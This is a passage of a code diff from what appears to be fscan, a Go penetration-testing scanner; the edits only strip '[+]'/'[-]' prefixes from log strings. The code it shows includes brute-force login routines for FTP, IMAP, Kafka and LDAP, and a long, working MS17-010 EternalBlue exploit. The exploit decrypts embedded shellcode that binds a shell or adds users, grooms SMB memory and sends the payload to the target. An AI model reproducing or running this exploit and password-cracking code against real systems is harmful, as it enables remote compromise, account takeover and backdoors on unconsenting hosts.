continue // 继续下一个密码,而不是返回 continue
} }
continue // 继续重试 continue
} }
} }
break // 如果不需要重试,跳出重试循环 break
} }
} }
resultChan <- nil resultChan <- nil
}() }()
} }
// 等待所有线程完成
go func() { go func() {
wg.Wait() wg.Wait()
close(resultChan) close(resultChan)
}() }()
// 检查结果
for err := range resultChan { for err := range resultChan {
if err != nil { if err != nil {
tmperr = err tmperr = err
// 对于超时错误也继续执行
if !strings.Contains(err.Error(), "扫描超时") { if !strings.Contains(err.Error(), "扫描超时") {
if retryErr := Common.CheckErrs(err); retryErr != nil { if retryErr := Common.CheckErrs(err); retryErr != nil {
continue // 继续尝试,而不是返回 continue
} }
} }
} }
@ -189,7 +204,7 @@ func FtpConn(info *Common.HostInfo, user string, pass string) (flag bool, err er
} }
// 登录成功,获取目录信息 // 登录成功,获取目录信息
result := fmt.Sprintf("[+] ftp %v:%v:%v %v", Host, Port, Username, Password) result := fmt.Sprintf("ftp %v:%v:%v %v", Host, Port, Username, Password)
dirs, err := conn.List("") dirs, err := conn.List("")
if err == nil && len(dirs) > 0 { if err == nil && len(dirs) > 0 {
// 最多显示前6个目录 // 最多显示前6个目录

View File

@ -27,30 +27,30 @@ func FindnetScan(info *Common.HostInfo) error {
target := fmt.Sprintf("%s:%v", info.Host, 135) target := fmt.Sprintf("%s:%v", info.Host, 135)
conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second) conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second)
if err != nil { if err != nil {
return fmt.Errorf("[-] 连接RPC端口失败: %v", err) return fmt.Errorf("连接RPC端口失败: %v", err)
} }
defer conn.Close() defer conn.Close()
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
return fmt.Errorf("[-] 设置超时失败: %v", err) return fmt.Errorf("设置超时失败: %v", err)
} }
if _, err = conn.Write(bufferV1); err != nil { if _, err = conn.Write(bufferV1); err != nil {
return fmt.Errorf("[-] 发送RPC请求1失败: %v", err) return fmt.Errorf("发送RPC请求1失败: %v", err)
} }
reply := make([]byte, 4096) reply := make([]byte, 4096)
if _, err = conn.Read(reply); err != nil { if _, err = conn.Read(reply); err != nil {
return fmt.Errorf("[-] 读取RPC响应1失败: %v", err) return fmt.Errorf("读取RPC响应1失败: %v", err)
} }
if _, err = conn.Write(bufferV2); err != nil { if _, err = conn.Write(bufferV2); err != nil {
return fmt.Errorf("[-] 发送RPC请求2失败: %v", err) return fmt.Errorf("发送RPC请求2失败: %v", err)
} }
n, err := conn.Read(reply) n, err := conn.Read(reply)
if err != nil || n < 42 { if err != nil || n < 42 {
return fmt.Errorf("[-] 读取RPC响应2失败: %v", err) return fmt.Errorf("读取RPC响应2失败: %v", err)
} }
text := reply[42:] text := reply[42:]
@ -64,7 +64,7 @@ func FindnetScan(info *Common.HostInfo) error {
} }
if !found { if !found {
return fmt.Errorf("[-] 未找到有效的响应标记") return fmt.Errorf("未找到有效的响应标记")
} }
return read(text, info.Host) return read(text, info.Host)
@ -195,7 +195,7 @@ func read(text []byte, host string) error {
// 输出IPv4地址 // 输出IPv4地址
if len(ipv4Addrs) > 0 { if len(ipv4Addrs) > 0 {
result += "\n [+] IPv4地址:" result += "\n IPv4地址:"
for _, addr := range ipv4Addrs { for _, addr := range ipv4Addrs {
result += fmt.Sprintf("\n └─ %s", addr) result += fmt.Sprintf("\n └─ %s", addr)
} }
@ -203,7 +203,7 @@ func read(text []byte, host string) error {
// 输出IPv6地址 // 输出IPv6地址
if len(ipv6Addrs) > 0 { if len(ipv6Addrs) > 0 {
result += "\n [+] IPv6地址:" result += "\n IPv6地址:"
for _, addr := range ipv6Addrs { for _, addr := range ipv6Addrs {
result += fmt.Sprintf("\n └─ %s", addr) result += fmt.Sprintf("\n └─ %s", addr)
} }

View File

@ -84,7 +84,7 @@ func IMAPScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况 // 处理错误情况
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] IMAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", errlog := fmt.Sprintf("IMAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err) info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog) Common.LogError(errlog)
@ -175,7 +175,7 @@ func tryIMAPAuth(conn net.Conn, host string, port string, user string, pass stri
} }
if strings.Contains(response, "a001 OK") { if strings.Contains(response, "a001 OK") {
result := fmt.Sprintf("[+] IMAP服务 %v:%v 爆破成功 用户名: %v 密码: %v", result := fmt.Sprintf("IMAP服务 %v:%v 爆破成功 用户名: %v 密码: %v",
host, port, user, pass) host, port, user, pass)
Common.LogSuccess(result) Common.LogSuccess(result)
return true, nil return true, nil

View File

@ -99,7 +99,7 @@ func KafkaScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况 // 处理错误情况
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] Kafka服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", errlog := fmt.Sprintf("Kafka服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err) info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog) Common.LogError(errlog)
@ -164,7 +164,7 @@ func KafkaConn(info *Common.HostInfo, user string, pass string) (bool, error) {
consumer, err := sarama.NewConsumer(brokers, config) consumer, err := sarama.NewConsumer(brokers, config)
if err == nil { if err == nil {
defer consumer.Close() defer consumer.Close()
result := fmt.Sprintf("[+] Kafka服务 %v:%v ", host, port) result := fmt.Sprintf("Kafka服务 %v:%v ", host, port)
if user != "" { if user != "" {
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass) result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
} else { } else {
@ -178,7 +178,7 @@ func KafkaConn(info *Common.HostInfo, user string, pass string) (bool, error) {
client, err := sarama.NewClient(brokers, config) client, err := sarama.NewClient(brokers, config)
if err == nil { if err == nil {
defer client.Close() defer client.Close()
result := fmt.Sprintf("[+] Kafka服务 %v:%v ", host, port) result := fmt.Sprintf("Kafka服务 %v:%v ", host, port)
if user != "" { if user != "" {
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass) result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
} else { } else {

View File

@ -90,7 +90,7 @@ func LDAPScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况 // 处理错误情况
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] LDAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", errlog := fmt.Sprintf("LDAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err) info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog) Common.LogError(errlog)
@ -177,7 +177,7 @@ func LDAPConn(info *Common.HostInfo, user string, pass string) (bool, error) {
} }
// 记录成功结果 // 记录成功结果
result := fmt.Sprintf("[+] LDAP服务 %v:%v ", host, port) result := fmt.Sprintf("LDAP服务 %v:%v ", host, port)
if user != "" { if user != "" {
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass) result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
} else { } else {

View File

@ -26,7 +26,7 @@ func MS17010EXP(info *Common.HostInfo) {
var err error var err error
sc, err = AesDecrypt(sc_enc, key) sc, err = AesDecrypt(sc_enc, key)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密bind shellcode失败: %v", info.Host, err)) Common.LogError(fmt.Sprintf("%s MS17-010 解密bind shellcode失败: %v", info.Host, err))
return return
} }
@ -40,7 +40,7 @@ func MS17010EXP(info *Common.HostInfo) {
var err error var err error
sc, err = AesDecrypt(sc_enc, key) sc, err = AesDecrypt(sc_enc, key)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密add shellcode失败: %v", info.Host, err)) Common.LogError(fmt.Sprintf("%s MS17-010 解密add shellcode失败: %v", info.Host, err))
return return
} }
@ -50,7 +50,7 @@ func MS17010EXP(info *Common.HostInfo) {
var err error var err error
sc, err = AesDecrypt(sc_enc, key) sc, err = AesDecrypt(sc_enc, key)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密guest shellcode失败: %v", info.Host, err)) Common.LogError(fmt.Sprintf("%s MS17-010 解密guest shellcode失败: %v", info.Host, err))
return return
} }
@ -59,7 +59,7 @@ func MS17010EXP(info *Common.HostInfo) {
if strings.Contains(Common.Shellcode, "file:") { if strings.Contains(Common.Shellcode, "file:") {
read, err := ioutil.ReadFile(Common.Shellcode[5:]) read, err := ioutil.ReadFile(Common.Shellcode[5:])
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("[-] MS17010读取Shellcode文件 %v 失败: %v", Common.Shellcode, err)) Common.LogError(fmt.Sprintf("MS17010读取Shellcode文件 %v 失败: %v", Common.Shellcode, err))
return return
} }
sc = fmt.Sprintf("%x", read) sc = fmt.Sprintf("%x", read)
@ -70,25 +70,25 @@ func MS17010EXP(info *Common.HostInfo) {
// 验证shellcode有效性 // 验证shellcode有效性
if len(sc) < 20 { if len(sc) < 20 {
fmt.Println("[-] 无效的Shellcode") fmt.Println("无效的Shellcode")
return return
} }
// 解码shellcode // 解码shellcode
sc1, err := hex.DecodeString(sc) sc1, err := hex.DecodeString(sc)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("[-] %s MS17-010 Shellcode解码失败: %v", info.Host, err)) Common.LogError(fmt.Sprintf("%s MS17-010 Shellcode解码失败: %v", info.Host, err))
return return
} }
// 执行EternalBlue漏洞利用 // 执行EternalBlue漏洞利用
err = eternalBlue(address, 12, 12, sc1) err = eternalBlue(address, 12, 12, sc1)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("[-] %s MS17-010漏洞利用失败: %v", info.Host, err)) Common.LogError(fmt.Sprintf("%s MS17-010漏洞利用失败: %v", info.Host, err))
return return
} }
Common.LogSuccess(fmt.Sprintf("[*] %s\tMS17-010\t漏洞利用完成", info.Host)) Common.LogSuccess(fmt.Sprintf("%s\tMS17-010\t漏洞利用完成", info.Host))
} }
// eternalBlue 执行EternalBlue漏洞利用 // eternalBlue 执行EternalBlue漏洞利用
@ -97,7 +97,7 @@ func eternalBlue(address string, initialGrooms, maxAttempts int, sc []byte) erro
const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16长度 const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16长度
scLen := len(sc) scLen := len(sc)
if scLen > maxscSize { if scLen > maxscSize {
return fmt.Errorf("[-] Shellcode大小超出限制: %d > %d (超出 %d 字节)", return fmt.Errorf("Shellcode大小超出限制: %d > %d (超出 %d 字节)",
scLen, maxscSize, scLen-maxscSize) scLen, maxscSize, scLen-maxscSize)
} }
@ -124,42 +124,42 @@ func exploit(address string, grooms int, payload []byte) error {
// 建立SMB1匿名IPC连接 // 建立SMB1匿名IPC连接
header, conn, err := smb1AnonymousConnectIPC(address) header, conn, err := smb1AnonymousConnectIPC(address)
if err != nil { if err != nil {
return fmt.Errorf("[-] 建立SMB连接失败: %v", err) return fmt.Errorf("建立SMB连接失败: %v", err)
} }
defer func() { _ = conn.Close() }() defer func() { _ = conn.Close() }()
// 发送SMB1大缓冲区数据 // 发送SMB1大缓冲区数据
if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil { if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil {
return fmt.Errorf("[-] 设置读取超时失败: %v", err) return fmt.Errorf("设置读取超时失败: %v", err)
} }
if err = smb1LargeBuffer(conn, header); err != nil { if err = smb1LargeBuffer(conn, header); err != nil {
return fmt.Errorf("[-] 发送大缓冲区失败: %v", err) return fmt.Errorf("发送大缓冲区失败: %v", err)
} }
// 初始化内存喷射线程 // 初始化内存喷射线程
fhsConn, err := smb1FreeHole(address, true) fhsConn, err := smb1FreeHole(address, true)
if err != nil { if err != nil {
return fmt.Errorf("[-] 初始化内存喷射失败: %v", err) return fmt.Errorf("初始化内存喷射失败: %v", err)
} }
defer func() { _ = fhsConn.Close() }() defer func() { _ = fhsConn.Close() }()
// 第一轮内存喷射 // 第一轮内存喷射
groomConns, err := smb2Grooms(address, grooms) groomConns, err := smb2Grooms(address, grooms)
if err != nil { if err != nil {
return fmt.Errorf("[-] 第一轮内存喷射失败: %v", err) return fmt.Errorf("第一轮内存喷射失败: %v", err)
} }
// 释放内存并执行第二轮喷射 // 释放内存并执行第二轮喷射
fhfConn, err := smb1FreeHole(address, false) fhfConn, err := smb1FreeHole(address, false)
if err != nil { if err != nil {
return fmt.Errorf("[-] 释放内存失败: %v", err) return fmt.Errorf("释放内存失败: %v", err)
} }
_ = fhsConn.Close() _ = fhsConn.Close()
// 执行第二轮内存喷射 // 执行第二轮内存喷射
groomConns2, err := smb2Grooms(address, 6) groomConns2, err := smb2Grooms(address, 6)
if err != nil { if err != nil {
return fmt.Errorf("[-] 第二轮内存喷射失败: %v", err) return fmt.Errorf("第二轮内存喷射失败: %v", err)
} }
_ = fhfConn.Close() _ = fhfConn.Close()
@ -173,42 +173,42 @@ func exploit(address string, grooms int, payload []byte) error {
// 发送最终漏洞利用数据包 // 发送最终漏洞利用数据包
if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil { if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil {
return fmt.Errorf("[-] 设置读取超时失败: %v", err) return fmt.Errorf("设置读取超时失败: %v", err)
} }
finalPacket := makeSMB1Trans2ExploitPacket(header.TreeID, header.UserID, 15, "exploit") finalPacket := makeSMB1Trans2ExploitPacket(header.TreeID, header.UserID, 15, "exploit")
if _, err = conn.Write(finalPacket); err != nil { if _, err = conn.Write(finalPacket); err != nil {
return fmt.Errorf("[-] 发送漏洞利用数据包失败: %v", err) return fmt.Errorf("发送漏洞利用数据包失败: %v", err)
} }
// 获取响应并检查状态 // 获取响应并检查状态
raw, _, err := smb1GetResponse(conn) raw, _, err := smb1GetResponse(conn)
if err != nil { if err != nil {
return fmt.Errorf("[-] 获取漏洞利用响应失败: %v", err) return fmt.Errorf("获取漏洞利用响应失败: %v", err)
} }
// 提取NT状态码 // 提取NT状态码
ntStatus := []byte{raw[8], raw[7], raw[6], raw[5]} ntStatus := []byte{raw[8], raw[7], raw[6], raw[5]}
Common.LogSuccess(fmt.Sprintf("[+] NT Status: 0x%08X", ntStatus)) Common.LogSuccess(fmt.Sprintf("NT Status: 0x%08X", ntStatus))
// 发送payload // 发送payload
Common.LogSuccess("[*] 开始发送Payload") Common.LogSuccess("开始发送Payload")
body := makeSMB2Body(payload) body := makeSMB2Body(payload)
// 分段发送payload // 分段发送payload
for _, conn := range groomConns { for _, conn := range groomConns {
if _, err = conn.Write(body[:2920]); err != nil { if _, err = conn.Write(body[:2920]); err != nil {
return fmt.Errorf("[-] 发送Payload第一段失败: %v", err) return fmt.Errorf("发送Payload第一段失败: %v", err)
} }
} }
for _, conn := range groomConns { for _, conn := range groomConns {
if _, err = conn.Write(body[2920:4073]); err != nil { if _, err = conn.Write(body[2920:4073]); err != nil {
return fmt.Errorf("[-] 发送Payload第二段失败: %v", err) return fmt.Errorf("发送Payload第二段失败: %v", err)
} }
} }
Common.LogSuccess("[+] Payload发送完成") Common.LogSuccess("Payload发送完成")
return nil return nil
} }
@ -236,7 +236,7 @@ func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) {
// 建立TCP连接 // 建立TCP连接
conn, err := net.DialTimeout("tcp", address, 10*time.Second) conn, err := net.DialTimeout("tcp", address, 10*time.Second)
if err != nil { if err != nil {
return nil, nil, fmt.Errorf("[-] 连接目标失败: %v", err) return nil, nil, fmt.Errorf("连接目标失败: %v", err)
} }
// 连接状态标记 // 连接状态标记
@ -249,24 +249,24 @@ func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) {
// SMB协议协商 // SMB协议协商
if err = smbClientNegotiate(conn); err != nil { if err = smbClientNegotiate(conn); err != nil {
return nil, nil, fmt.Errorf("[-] SMB协议协商失败: %v", err) return nil, nil, fmt.Errorf("SMB协议协商失败: %v", err)
} }
// 匿名登录 // 匿名登录
raw, header, err := smb1AnonymousLogin(conn) raw, header, err := smb1AnonymousLogin(conn)
if err != nil { if err != nil {
return nil, nil, fmt.Errorf("[-] 匿名登录失败: %v", err) return nil, nil, fmt.Errorf("匿名登录失败: %v", err)
} }
// 获取系统版本信息 // 获取系统版本信息
if _, err = getOSName(raw); err != nil { if _, err = getOSName(raw); err != nil {
return nil, nil, fmt.Errorf("[-] 获取系统信息失败: %v", err) return nil, nil, fmt.Errorf("获取系统信息失败: %v", err)
} }
// 连接IPC共享 // 连接IPC共享
header, err = treeConnectAndX(conn, address, header.UserID) header, err = treeConnectAndX(conn, address, header.UserID)
if err != nil { if err != nil {
return nil, nil, fmt.Errorf("[-] 连接IPC共享失败: %v", err) return nil, nil, fmt.Errorf("连接IPC共享失败: %v", err)
} }
ok = true ok = true
@ -299,13 +299,13 @@ func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) {
// 读取NetBIOS会话服务头 // 读取NetBIOS会话服务头
buf := make([]byte, 4) buf := make([]byte, 4)
if _, err := io.ReadFull(conn, buf); err != nil { if _, err := io.ReadFull(conn, buf); err != nil {
return nil, nil, fmt.Errorf("[-] 读取NetBIOS会话服务头失败: %v", err) return nil, nil, fmt.Errorf("读取NetBIOS会话服务头失败: %v", err)
} }
// 校验消息类型 // 校验消息类型
messageType := buf[0] messageType := buf[0]
if messageType != 0x00 { if messageType != 0x00 {
return nil, nil, fmt.Errorf("[-] 无效的消息类型: 0x%02X", messageType) return nil, nil, fmt.Errorf("无效的消息类型: 0x%02X", messageType)
} }
// 解析消息体大小 // 解析消息体大小
@ -316,14 +316,14 @@ func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) {
// 读取SMB消息体 // 读取SMB消息体
buf = make([]byte, messageSize) buf = make([]byte, messageSize)
if _, err := io.ReadFull(conn, buf); err != nil { if _, err := io.ReadFull(conn, buf); err != nil {
return nil, nil, fmt.Errorf("[-] 读取SMB消息体失败: %v", err) return nil, nil, fmt.Errorf("读取SMB消息体失败: %v", err)
} }
// 解析SMB头部 // 解析SMB头部
header := smbHeader{} header := smbHeader{}
reader := bytes.NewReader(buf[:smbHeaderSize]) reader := bytes.NewReader(buf[:smbHeaderSize])
if err := binary.Read(reader, binary.LittleEndian, &header); err != nil { if err := binary.Read(reader, binary.LittleEndian, &header); err != nil {
return nil, nil, fmt.Errorf("[-] 解析SMB头部失败: %v", err) return nil, nil, fmt.Errorf("解析SMB头部失败: %v", err)
} }
return buf, &header, nil return buf, &header, nil
@ -335,27 +335,27 @@ func smbClientNegotiate(conn net.Conn) error {
// 构造NetBIOS会话服务头 // 构造NetBIOS会话服务头
if err := writeNetBIOSHeader(&buf); err != nil { if err := writeNetBIOSHeader(&buf); err != nil {
return fmt.Errorf("[-] 构造NetBIOS头失败: %v", err) return fmt.Errorf("构造NetBIOS头失败: %v", err)
} }
// 构造SMB协议头 // 构造SMB协议头
if err := writeSMBHeader(&buf); err != nil { if err := writeSMBHeader(&buf); err != nil {
return fmt.Errorf("[-] 构造SMB头失败: %v", err) return fmt.Errorf("构造SMB头失败: %v", err)
} }
// 构造协议协商请求 // 构造协议协商请求
if err := writeNegotiateRequest(&buf); err != nil { if err := writeNegotiateRequest(&buf); err != nil {
return fmt.Errorf("[-] 构造协议协商请求失败: %v", err) return fmt.Errorf("构造协议协商请求失败: %v", err)
} }
// 发送数据包 // 发送数据包
if _, err := buf.WriteTo(conn); err != nil { if _, err := buf.WriteTo(conn); err != nil {
return fmt.Errorf("[-] 发送协议协商数据包失败: %v", err) return fmt.Errorf("发送协议协商数据包失败: %v", err)
} }
// 获取响应 // 获取响应
if _, _, err := smb1GetResponse(conn); err != nil { if _, _, err := smb1GetResponse(conn); err != nil {
return fmt.Errorf("[-] 获取协议协商响应失败: %v", err) return fmt.Errorf("获取协议协商响应失败: %v", err)
} }
return nil return nil
@ -428,22 +428,22 @@ func smb1AnonymousLogin(conn net.Conn) ([]byte, *smbHeader, error) {
// 构造NetBIOS会话服务头 // 构造NetBIOS会话服务头
if err := writeNetBIOSLoginHeader(&buf); err != nil { if err := writeNetBIOSLoginHeader(&buf); err != nil {
return nil, nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err) return nil, nil, fmt.Errorf("构造NetBIOS头失败: %v", err)
} }
// 构造SMB协议头 // 构造SMB协议头
if err := writeSMBLoginHeader(&buf); err != nil { if err := writeSMBLoginHeader(&buf); err != nil {
return nil, nil, fmt.Errorf("[-] 构造SMB头失败: %v", err) return nil, nil, fmt.Errorf("构造SMB头失败: %v", err)
} }
// 构造会话设置请求 // 构造会话设置请求
if err := writeSessionSetupRequest(&buf); err != nil { if err := writeSessionSetupRequest(&buf); err != nil {
return nil, nil, fmt.Errorf("[-] 构造会话设置请求失败: %v", err) return nil, nil, fmt.Errorf("构造会话设置请求失败: %v", err)
} }
// 发送数据包 // 发送数据包
if _, err := buf.WriteTo(conn); err != nil { if _, err := buf.WriteTo(conn); err != nil {
return nil, nil, fmt.Errorf("[-] 发送登录数据包失败: %v", err) return nil, nil, fmt.Errorf("发送登录数据包失败: %v", err)
} }
// 获取响应 // 获取响应
@ -560,7 +560,7 @@ func getOSName(raw []byte) (string, error) {
char := make([]byte, 2) char := make([]byte, 2)
for { for {
if _, err := io.ReadFull(reader, char); err != nil { if _, err := io.ReadFull(reader, char); err != nil {
return "", fmt.Errorf("[-] 读取操作系统名称失败: %v", err) return "", fmt.Errorf("读取操作系统名称失败: %v", err)
} }
// 遇到结束符(0x00 0x00)时退出 // 遇到结束符(0x00 0x00)时退出
@ -590,17 +590,17 @@ func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smbHeader,
// 构造NetBIOS会话服务头 // 构造NetBIOS会话服务头
if err := writeNetBIOSTreeHeader(&buf); err != nil { if err := writeNetBIOSTreeHeader(&buf); err != nil {
return nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err) return nil, fmt.Errorf("构造NetBIOS头失败: %v", err)
} }
// 构造SMB协议头 // 构造SMB协议头
if err := writeSMBTreeHeader(&buf, userID); err != nil { if err := writeSMBTreeHeader(&buf, userID); err != nil {
return nil, fmt.Errorf("[-] 构造SMB头失败: %v", err) return nil, fmt.Errorf("构造SMB头失败: %v", err)
} }
// 构造树连接请求 // 构造树连接请求
if err := writeTreeConnectRequest(&buf, address); err != nil { if err := writeTreeConnectRequest(&buf, address); err != nil {
return nil, fmt.Errorf("[-] 构造树连接请求失败: %v", err) return nil, fmt.Errorf("构造树连接请求失败: %v", err)
} }
// 更新数据包大小 // 更新数据包大小
@ -608,13 +608,13 @@ func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smbHeader,
// 发送数据包 // 发送数据包
if _, err := buf.WriteTo(conn); err != nil { if _, err := buf.WriteTo(conn); err != nil {
return nil, fmt.Errorf("[-] 发送树连接请求失败: %v", err) return nil, fmt.Errorf("发送树连接请求失败: %v", err)
} }
// 获取响应 // 获取响应
_, header, err := smb1GetResponse(conn) _, header, err := smb1GetResponse(conn)
if err != nil { if err != nil {
return nil, fmt.Errorf("[-] 获取树连接响应失败: %v", err) return nil, fmt.Errorf("获取树连接响应失败: %v", err)
} }
return header, nil return header, nil
@ -682,7 +682,7 @@ func writeTreeConnectRequest(buf *bytes.Buffer, address string) error {
// IPC路径 // IPC路径
host, _, err := net.SplitHostPort(address) host, _, err := net.SplitHostPort(address)
if err != nil { if err != nil {
return fmt.Errorf("[-] 解析地址失败: %v", err) return fmt.Errorf("解析地址失败: %v", err)
} }
_, _ = fmt.Fprintf(buf, "\\\\%s\\IPC$", host) _, _ = fmt.Fprintf(buf, "\\\\%s\\IPC$", host)
@ -707,7 +707,7 @@ func smb1LargeBuffer(conn net.Conn, header *smbHeader) error {
// 发送NT Trans请求获取事务头 // 发送NT Trans请求获取事务头
transHeader, err := sendNTTrans(conn, header.TreeID, header.UserID) transHeader, err := sendNTTrans(conn, header.TreeID, header.UserID)
if err != nil { if err != nil {
return fmt.Errorf("[-] 发送NT Trans请求失败: %v", err) return fmt.Errorf("发送NT Trans请求失败: %v", err)
} }
treeID := transHeader.TreeID treeID := transHeader.TreeID
@ -732,12 +732,12 @@ func smb1LargeBuffer(conn net.Conn, header *smbHeader) error {
// 发送组合数据包 // 发送组合数据包
if _, err := conn.Write(transPackets); err != nil { if _, err := conn.Write(transPackets); err != nil {
return fmt.Errorf("[-] 发送大缓冲区数据失败: %v", err) return fmt.Errorf("发送大缓冲区数据失败: %v", err)
} }
// 获取响应 // 获取响应
if _, _, err := smb1GetResponse(conn); err != nil { if _, _, err := smb1GetResponse(conn); err != nil {
return fmt.Errorf("[-] 获取大缓冲区响应失败: %v", err) return fmt.Errorf("获取大缓冲区响应失败: %v", err)
} }
return nil return nil
@ -749,28 +749,28 @@ func sendNTTrans(conn net.Conn, treeID, userID uint16) (*smbHeader, error) {
// 构造NetBIOS会话服务头 // 构造NetBIOS会话服务头
if err := writeNetBIOSNTTransHeader(&buf); err != nil { if err := writeNetBIOSNTTransHeader(&buf); err != nil {
return nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err) return nil, fmt.Errorf("构造NetBIOS头失败: %v", err)
} }
// 构造SMB协议头 // 构造SMB协议头
if err := writeSMBNTTransHeader(&buf, treeID, userID); err != nil { if err := writeSMBNTTransHeader(&buf, treeID, userID); err != nil {
return nil, fmt.Errorf("[-] 构造SMB头失败: %v", err) return nil, fmt.Errorf("构造SMB头失败: %v", err)
} }
// 构造NT Trans请求 // 构造NT Trans请求
if err := writeNTTransRequest(&buf); err != nil { if err := writeNTTransRequest(&buf); err != nil {
return nil, fmt.Errorf("[-] 构造NT Trans请求失败: %v", err) return nil, fmt.Errorf("构造NT Trans请求失败: %v", err)
} }
// 发送数据包 // 发送数据包
if _, err := buf.WriteTo(conn); err != nil { if _, err := buf.WriteTo(conn); err != nil {
return nil, fmt.Errorf("[-] 发送NT Trans请求失败: %v", err) return nil, fmt.Errorf("发送NT Trans请求失败: %v", err)
} }
// 获取响应 // 获取响应
_, header, err := smb1GetResponse(conn) _, header, err := smb1GetResponse(conn)
if err != nil { if err != nil {
return nil, fmt.Errorf("[-] 获取NT Trans响应失败: %v", err) return nil, fmt.Errorf("获取NT Trans响应失败: %v", err)
} }
return header, nil return header, nil
@ -1099,7 +1099,7 @@ func smb1FreeHole(address string, start bool) (net.Conn, error) {
// 建立TCP连接 // 建立TCP连接
conn, err := net.DialTimeout("tcp", address, 10*time.Second) conn, err := net.DialTimeout("tcp", address, 10*time.Second)
if err != nil { if err != nil {
return nil, fmt.Errorf("[-] 连接目标失败: %v", err) return nil, fmt.Errorf("连接目标失败: %v", err)
} }
// 连接状态标记 // 连接状态标记
@ -1112,7 +1112,7 @@ func smb1FreeHole(address string, start bool) (net.Conn, error) {
// SMB协议协商 // SMB协议协商
if err = smbClientNegotiate(conn); err != nil { if err = smbClientNegotiate(conn); err != nil {
return nil, fmt.Errorf("[-] SMB协议协商失败: %v", err) return nil, fmt.Errorf("SMB协议协商失败: %v", err)
} }
// 根据开始/结束标志设置不同参数 // 根据开始/结束标志设置不同参数
@ -1130,12 +1130,12 @@ func smb1FreeHole(address string, start bool) (net.Conn, error) {
// 构造并发送会话数据包 // 构造并发送会话数据包
packet := makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS) packet := makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS)
if _, err = conn.Write(packet); err != nil { if _, err = conn.Write(packet); err != nil {
return nil, fmt.Errorf("[-] 发送内存释放会话数据包失败: %v", err) return nil, fmt.Errorf("发送内存释放会话数据包失败: %v", err)
} }
// 获取响应 // 获取响应
if _, _, err = smb1GetResponse(conn); err != nil { if _, _, err = smb1GetResponse(conn); err != nil {
return nil, fmt.Errorf("[-] 获取会话响应失败: %v", err) return nil, fmt.Errorf("获取会话响应失败: %v", err)
} }
ok = true ok = true
@ -1251,12 +1251,12 @@ func smb2Grooms(address string, grooms int) ([]net.Conn, error) {
// 创建TCP连接 // 创建TCP连接
conn, err := net.DialTimeout("tcp", address, 10*time.Second) conn, err := net.DialTimeout("tcp", address, 10*time.Second)
if err != nil { if err != nil {
return nil, fmt.Errorf("[-] 连接目标失败: %v", err) return nil, fmt.Errorf("连接目标失败: %v", err)
} }
// 发送SMB2头 // 发送SMB2头
if _, err = conn.Write(header); err != nil { if _, err = conn.Write(header); err != nil {
return nil, fmt.Errorf("[-] 发送SMB2头失败: %v", err) return nil, fmt.Errorf("发送SMB2头失败: %v", err)
} }
conns = append(conns, conn) conns = append(conns, conn)

View File

@ -3,10 +3,9 @@ package Plugins
import ( import (
"encoding/binary" "encoding/binary"
"encoding/hex" "encoding/hex"
"errors"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
"log" "os"
"strings" "strings"
"time" "time"
) )
@ -33,126 +32,133 @@ func init() {
// 解密协议请求 // 解密协议请求
decrypted, err := AesDecrypt(negotiateProtocolRequest_enc, key) decrypted, err := AesDecrypt(negotiateProtocolRequest_enc, key)
if err != nil { if err != nil {
log.Fatalf("解密协议请求失败: %v", err) Common.LogError(fmt.Sprintf("协议请求解密错误: %v", err))
os.Exit(1)
} }
